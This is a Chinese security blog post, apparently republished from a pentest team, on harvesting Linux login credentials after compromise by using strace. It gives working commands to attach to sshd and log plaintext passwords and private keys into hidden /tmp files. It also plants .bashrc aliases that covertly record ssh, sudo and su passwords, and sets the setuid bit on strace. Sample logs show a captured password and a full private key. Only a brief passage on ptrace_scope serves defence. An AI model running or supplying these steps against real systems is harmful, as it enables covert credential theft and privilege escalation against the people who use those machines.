linux后渗透之收集登录凭证
2020-6-22 12:45:10 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

    文章目录
     
    1. 1. strace简介

      1. 1.1. 安装strace

      2. 1.2. strace使用条件

      3. 1.3. strace语法

    2. 2. 收集任意已有进程登录凭证

      1. 2.1. 获取sshd进程明文密码

      2. 2.2. 获取sshd进程私钥

    3. 3. 收集任意指定程序登录凭证

      1. 3.1. 收集ssh登录凭证

      2. 3.2. 收集su、sudo等需要提升权限运行的程序的登录凭证

    4. 4. 总结

    5. 5. 参考链接

    当渗透测试人员拿到shell后,如果要进一步渗透,信息收集是重中之重,内网渗透的深入程度取决于信息收集的深度,内网渗透的本质就是信息收集,而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究linux系统下的通过调试程序的方法,跟踪进程数据的方式收集登录凭证。

    strace是linux中的调试工具,可通过附加到进程来调试正在运行的进程,strace记录一个正在运行的程序正在执行的系统调用以及参数。我们可以通过这种方式来跟踪任何进程数据,比如sshd ssh su sudo等进程数据来获取登录凭证。

    例如,如果一个应用程序(例如Pidgin)遭到入侵,攻击者就有可能附加到其他正在运行的进程(例如Firefox,SSH会话,GPG代理等)以提取其他凭证并继续扩大范围,无需借助用户协助的网络钓鱼就可以进行攻击。

    strace简介

    安装strace

    # 能出网
    yum install strace -y
    apt install strace -y
    # 不能出网
    上传对应安装包,手工安装,或者编译安装

    strace使用条件

    Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。默认情况下,大多数发行版都将其设置为1。根据Linux Kernel Yama Documentation,这些数字映射到以下权限:

    0-经典ptrace权限:进程可以将PTRACE_ATTACH传递给任何其他进程,只要它是可转储的(即没有转换uid,没有特权启动或没有调用prctl(PR_SET_DUMPABLE ...)。同样,PTRACE_TRACEME为不变。

    1-受限制的ptrace:进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下,当上面的关系时,这种关系只是其后代的关系也符合经典标准。要改变关系,下级可以调用prctl(PR_SET_PTRACER,debugger,...)进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。

    2-仅限管理员附加:只有具有CAP_SYS_PTRACE的进程才能使用ptrace,通过PTRACE_ATTACH,或通过子级调用PTRACE_TRACEME。

    3-没有连接:任何进程都不能将ptrace与PTRACE_ATTACH一起使用,也不能通过PTRACE_TRACEME。设置后,该sysctl值将无法更改。

    这样可以通过运行sysctl kernel.yama.ptrace_scope=3在系统上禁用ptrace。但是,这可能会破坏正在运行的其他程序。例如,Wine在禁用ptrace的情况下无法正常工作。我建议您测试非生产服务器,并验证其所有功能在未启用ptrace的情况下能否正常运行。禁用ptrace还可以阻止某些调试功能。

    查看修改系统strace配置

    # 查看
    cat /proc/sys/kernel/yama/ptrace_scope
    # 修改
    echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0
    # 当kernel.yama.ptrace_scope的值设置为3后,必须重启系统后才能更改

    strace语法

    -c 统计每一系统调用的所执行的时间,次数和出错的次数等.
    -d 输出strace关于标准错误的调试信息.
    -f 跟踪由fork调用所产生的子进程.
    -ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
    -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
    -h 输出简要的帮助信息.
    -i 输出系统调用的入口指针.
    -q 禁止输出关于脱离的消息.
    -r 打印出相对时间关于,,每一个系统调用.
    -t 在输出中的每一行前加上时间信息.
    -tt 在输出中的每一行前加上时间信息,微秒级.
    -ttt 微秒级输出,以秒了表示时间.
    -T 显示每一调用所耗的时间.
    -v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
    -V 输出strace的版本信息.
    -x 以十六进制形式输出非标准字符串
    -xx 所有字符串以十六进制形式输出.
    -a column 设置返回值的输出位置.默认 为40.
    -e expr 指定一个表达式,用来控制如何跟踪.格式:[qualifier=][!]value1[,value2]...
    qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
    -e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
    -e trace=file 只跟踪有关文件操作的系统调用.
    -e trace=process 只跟踪有关进程控制的系统调用.
    -e trace=network 跟踪与网络有关的所有系统调用.
    -e strace=signal 跟踪所有与系统信号有关的 系统调用
    -e trace=ipc 跟踪所有与进程通讯有关的系统调用
    -e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
    -e raw=set 将指定的系统调用的参数以十六进制显示.
    -e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
    -e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
    -e write=set 输出写入到指定文件中的数据.
    -o filename 将strace的输出写入文件filename
    -p pid 跟踪指定的进程pid.
    -s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
    -u username 以username的UID和GID执行被跟踪的命令

    收集任意已有进程登录凭证

    strace -p参数指定进程,收集对应进程的系统调用数据

    获取sshd进程明文密码

    1.root权限执行

    # 使用括号执行程序,当前shell退出,执行的程序不会退出
    (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

    2.查找用户名和密码的正则表达式为read\(6, ".+\\0\\0\\0\\.+"

    # 查找用户名和密码
    grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

    # 结果形式如下
    [pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
    [pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
    [pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

    获取sshd进程私钥

    1.root权限执行

    # 使用括号执行程序,当前shell退出,执行的程序不会退出
    (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

    2.查找私钥直接搜索字符串PRIVATE KEY

    # 如果私钥设置的了密码,似乎不能抓到私钥密码
    # 查找用户名和密码
    grep 'PRIVATE KEY' /tmp/.sshd.log

    # 结果形式如下
    [pid 1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590

    收集任意指定程序登录凭证

    给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证

    收集ssh登录凭证

    1.添加命令别名

    # 添加命令别名
    vi ~/.bashrc或者/etc/bashrc
    alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
    # 使命令别名立即生效
    source ~/.bashrc

    2.记录的strace文件如下:

    936   write(4, "[email protected]'s password: ", 32) = 32
    936 read(4, "t", 1) = 1
    936 read(4, "o", 1) = 1
    936 read(4, "o", 1) = 1
    936 read(4, "r", 1) = 1
    936 read(4, "\n", 1) = 1
    936 write(4, "\n", 1) = 1

    3.可以通过正则.+@.+\bpassword定位密码位置

    收集su、sudo等需要提升权限运行的程序的登录凭证

    1.给strace程序添加suid权限,即以root权限执行

    # 查看strace文件位置
    which strace
    /usr/bin/strace
    # 添加suid权限
    chmod +s /usr/bin/strace

    2.添加命令别名

    # 添加命令别名
    vi ~/.bashrc或者/etc/bashrc
    alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
    alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
    # 使命令别名立即生效
    source ~/.bashrc

    3.记录的strace文件如下:

    write(6, "[sudo] password for kali: ", 26) = 26
    read(6, "i", 1) = 1
    read(6, "l", 1) = 1
    read(6, "a", 1) = 1
    read(6, "k", 1) = 1
    read(6, "\n", 1) = 1

    4.根据程序运行输出的特征字符串定位密码位置

    总结

    当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时,可以通过strace记录任何程序的系统调用(常用read、write调用)来获取登录凭证

    参考链接

    • https://klionsec.github.io/2016/09/22/strace/

    • https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/

    • https://www.kernel.org/doc/Documentation/security/Yama.txt

    版权声明:

    本文由last0monster@MS509团队成员原创,已于2020年5月发表于“先知社区”,转载请注明来源

    MS509简介:
     
    MS509为“中国网安”开展互联网攻防技术研究的专业团队,当前主攻方向包括WEB安全、移动安全、二进制安全等更多团队动态,尽在博客www.ms509.com;微博搜索 MS509。
    加入我们:https://www.ms509.com/contact/

    ↓↓↓ 点击"阅读原文" 【查看更多信息】  


    文章来源: https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&mid=2650935401&idx=1&sn=1479fdbbe9e2779477b2fe764bffb2c2&chksm=809f98deb7e811c8a5a448b520c1b889f0ed2414d433565b495051dce624dfa94a94a7473ddc&scene=58&subscene=0#rd
    如有侵权请联系:admin#unsafe.sh